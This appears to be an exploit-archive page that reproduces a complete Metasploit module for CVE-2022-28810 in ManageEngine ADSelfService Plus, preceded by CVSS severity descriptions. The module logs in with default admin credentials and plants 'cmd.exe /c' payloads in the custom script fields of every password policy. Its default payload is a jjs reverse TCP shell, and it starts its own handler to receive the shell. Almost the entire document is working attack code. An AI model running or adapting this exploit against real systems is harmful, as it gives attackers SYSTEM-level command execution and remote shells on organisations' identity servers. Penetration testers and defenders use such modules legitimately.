The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: ManageEngine ADSelfService Plus Custom Script Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine ADSelfService Plus Custom Script Execution',
'Description' => %q{
This module exploits the "custom script" feature of ADSelfService Plus. The
feature was removed in build 6122 as part of the patch for CVE-2022-28810.
For purposes of this module, a "custom script" is arbitrary operating system
command execution.
This module uses an attacker provided "admin" account to insert the malicious
payload into the custom script fields. When a user resets their password or
unlocks their account, the payload in the custom script will be executed.
The payload will be executed as SYSTEM if ADSelfService Plus is installed as
a service, which we believe is the normal operational behavior.
This is a passive module because user interaction is required to trigger the
payload. This module also does not automatically remove the malicious code from
the remote target. Use the "TARGET_RESET" operation to remove the malicious
custom script when you are done.
ADSelfService Plus uses default credentials of "admin":"admin"
},
'Author' => [
# Discovered and exploited by unknown threat actors
'Jake Baines', # Analysis, CVE credit, and Metasploit module
'Hernan Diaz', # Analysis and CVE credit
'Andrew Iwamaye', # Analysis and CVE credit
'Dan Kelley' # Analysis and CVE credit
],
'References' => [
['CVE', '2022-28810'],
['URL', 'https://www.manageengine.com/products/self-service-password/kb/cve-2022-28810.html'],
['URL', 'https://www.rapid7.com/blog/post/2022/04/14/cve-2022-28810-manageengine-adselfservice-plus-authenticated-command-execution-fixed/']
],
'DisclosureDate' => '2022-04-09',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Privileged' => true, # false if ADSelfService Plus is not run as a service
'Stance' => Msf::Exploit::Stance::Passive,
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/jjs_reverse_tcp'
}
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8888,
'DisablePayloadHandler' => true,
'JJS_PATH' => '..\\jre\\bin\\jjs.exe'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path traversal for auth bypass', '/']),
OptString.new('USERNAME', [true, 'The administrator username', 'admin']),
OptString.new('PASSWORD', [true, 'The administrator user\'s password', 'admin']),
OptBool.new('TARGET_RESET', [true, 'On the target, disables custom scripts and clears custom script field', false])
])
end
##
# Because this is an authenticated vulnerability, we will rely on a version string
# for the check function. We can extract the version (or build) from selfservice/index.html.
##
def check
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/selfservice/index.html'))
unless res
return CheckCode::Unknown('The target failed to respond to check.')
end
unless res.code == 200
return CheckCode::Safe('Failed to retrieve /selfservice/index.html')
end
ver = res.body[/\.css\?buildNo=(?<build_id>[0-9]+)/, :build_id]
if ver.nil?
return CheckCode::Safe('Could not extract a version number')
end
if Rex::Version.new(ver) < Rex::Version.new('6122')
return CheckCode::Appears("This determination is based on the version string: #{ver}.")
end
CheckCode::Safe("This determination is based on the version string: #{ver}.")
end
##
# Authenticate with the remote target. Login requires four steps:
#
# 1. Grab a CSRF token
# 2. Post credentials to /ServletAPI/accounts/login
# 3. Post credentials to /j_security_check
# 4. Grab another CSRF token for authenticated requests
#
# @return a new CSRF token to use with authenticated requests
##
def authenticate
# grab a CSRF token from the index
res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do') })
fail_with(Failure::Unreachable, 'The target did not respond') unless res
fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['HttpOnly, adscsrf'].empty?
csrf_tok = res.get_cookies_parsed['HttpOnly, adscsrf'].to_s[/HttpOnly, adscsrf=(?<token>[0-9a-f-]+); path=/, :token]
fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok
# send the first login request to get the ssp token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/ServletAPI/accounts/login'),
'keep_cookies' => true,
'vars_post' =>
{
'loginName' => datastore['USERNAME'],
'domainName' => 'ADSelfService Plus Authentication',
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'AUTHRULE_NAME' => 'ADAuthenticator',
'adscsrf' => csrf_tok
}
})
fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200
# send the second login request to get the sso token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/j_security_check'),
'keep_cookies' => true,
'vars_post' =>
{
'loginName' => datastore['USERNAME'],
'domainName' => 'ADSelfService Plus Authentication',
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'AUTHRULE_NAME' => 'ADAuthenticator',
'adscsrf' => csrf_tok
}
})
fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 302
# revisit authorization.do to complete authentication
res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do'), 'keep_cookies' => true })
fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['adscsrf'].empty?
csrf_tok = res.get_cookies_parsed['adscsrf'].to_s[/adscsrf=(?<token>[0-9a-f-]+);/, :token]
fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok
print_good('Authentication successful')
csrf_tok
end
##
# Triggering the payload requires user interaction. Using the default payload
# handler will cause this module to exit after planting the payload, so the
# module will spawn it's own handler so that it doesn't exit until a shell
# has been received/handled. Note that this module is passive so it should
# just be chilling quietly in the background.
#
# This code is largely copy/paste from windows/local/persistence.rb
##
def create_multihandler(lhost, lport, payload_name)
pay = framework.payloads.create(payload_name)
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
print_status('Starting exploit/multi/handler')
# Set options for module
mh = framework.exploits.create('multi/handler')
mh.share_datastore(pay.datastore)
mh.datastore['PAYLOAD'] = payload_name
mh.datastore['EXITFUNC'] = 'thread'
mh.datastore['ExitOnSession'] = true
# Validate module options
mh.options.validate(mh.datastore)
# Execute showing output
mh.exploit_simple(
'Payload' => mh.datastore['PAYLOAD'],
'LocalInput' => user_input,
'LocalOutput' => user_output,
'RunAsJob' => true
)
# Check to make sure that the handler is actually valid
# If another process has the port open, then the handler will fail
# but it takes a few seconds to do so. The module needs to give
# the handler time to fail or the resulting connections from the
# target could end up on on a different handler with the wrong payload
# or dropped entirely.
Rex.sleep(5)
return nil if framework.jobs[mh.job_id.to_s].nil?
return mh.job_id.to_s
end
# The json policy blob that ADSSP provides us is not accepted by ADSSP
# if we try to POST it back. Specifically, ADSP is very unhappy about all
# the booleans using "true" or "false" instead of "1" or "0" *except* for
# HIDE_CAPTCHA_RPUA which has to remain a boolean. Sounds unbelievable, but
# here we are.
def fix_adssp_json(json_hash)
json_hash.map do |key, value|
if value.is_a? Hash
[key, fix_adssp_json(value)]
elsif value.is_a? Array
value = value.map do |array_val|
if array_val.is_a? Hash
array_val = fix_adssp_json(array_val)
end
array_val
end
[key, value]
elsif key == 'HIDE_CAPTCHA_RPUA'
[key, value]
elsif value.is_a? TrueClass
[key, 1]
elsif value.is_a? FalseClass
[key, 0]
else
[key, value]
end
end.to_h
end
def exploit
csrf_tok = authenticate
# Grab the list of configured policies
policy_list_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getPolicyConfigDetails')
print_status("Requesting policy list from #{policy_list_uri}")
res = send_request_cgi({ 'method' => 'GET', 'uri' => policy_list_uri })
fail_with(Failure::UnexpectedReply, 'Log in attempt failed') unless res.code == 200
policy_json = res.get_json_document
fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if policy_json.nil?
policy_details_json = policy_json['POLICY_DETAILS']
fail_with(Failure::UnexpectedReply, "The target didn't have any configured policies") if policy_details_json.nil?
# There can be multiple policies. This logic will loop over each one, grab the configuration
# details, update the configuration to include our payload, and then POST it back.
policy_details_json.each do |policy_entry|
policy_id = policy_entry['POLICY_ID']
policy_name = policy_entry['POLICY_NAME']
fail_with(Failure::UnexpectedReply, 'Policy details missing name or id') if policy_id.nil? || policy_name.nil?
print_status("Requesting policy details for #{policy_name}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getAPCDetails'),
'vars_get' =>
{
'POLICY_ID' => policy_id
}
})
fail_with(Failure::UnexpectedReply, 'Acquiring specific policy details failed') unless res.code == 200
# load the JSON and insert (or remove) our payload
specific_policy_json = res.get_json_document
fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if specific_policy_json.nil?
fail_with(Failure::UnexpectedReply, "The target didn't contain the expected JSON") if specific_policy_json['SCRIPT_COMMAND_RESET'].nil?
new_payload = "cmd.exe /c #{payload.encoded}"
if datastore['TARGET_RESET']
print_status('Disabling custom script functionality')
specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '0'
specific_policy_json['SCRIPT_COMMAND_RESET'] = ''
specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '0'
specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = ''
else
print_status('Enabling custom scripts and inserting the payload')
specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '1'
specific_policy_json['SCRIPT_COMMAND_RESET'] = new_payload
specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '1'
specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = new_payload
end
# fix up the ADSSP provided json so ADSSP will accept it o.O
updated_policy = fix_adssp_json(specific_policy_json).to_json
policy_update_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/setAPCDetails')
print_status("Posting updated policy configuration to #{policy_update_uri}")
res = send_request_cgi({
'method' => 'POST',
'uri' => policy_update_uri,
'vars_post' =>
{
'APC_SETTINGS_DETAILS' => updated_policy,
'POLICY_NAME' => policy_name,
'adscsrf' => csrf_tok
}
})
fail_with(Failure::UnexpectedReply, 'Policy update request failed') unless res.code == 200
# spawn our own payload handler?
if !datastore['TARGET_RESET'] && datastore['DisablePayloadHandler']
listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD'])
if listener_job_id.blank?
print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
end
else
print_good('Done!')
end
end
end
end
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum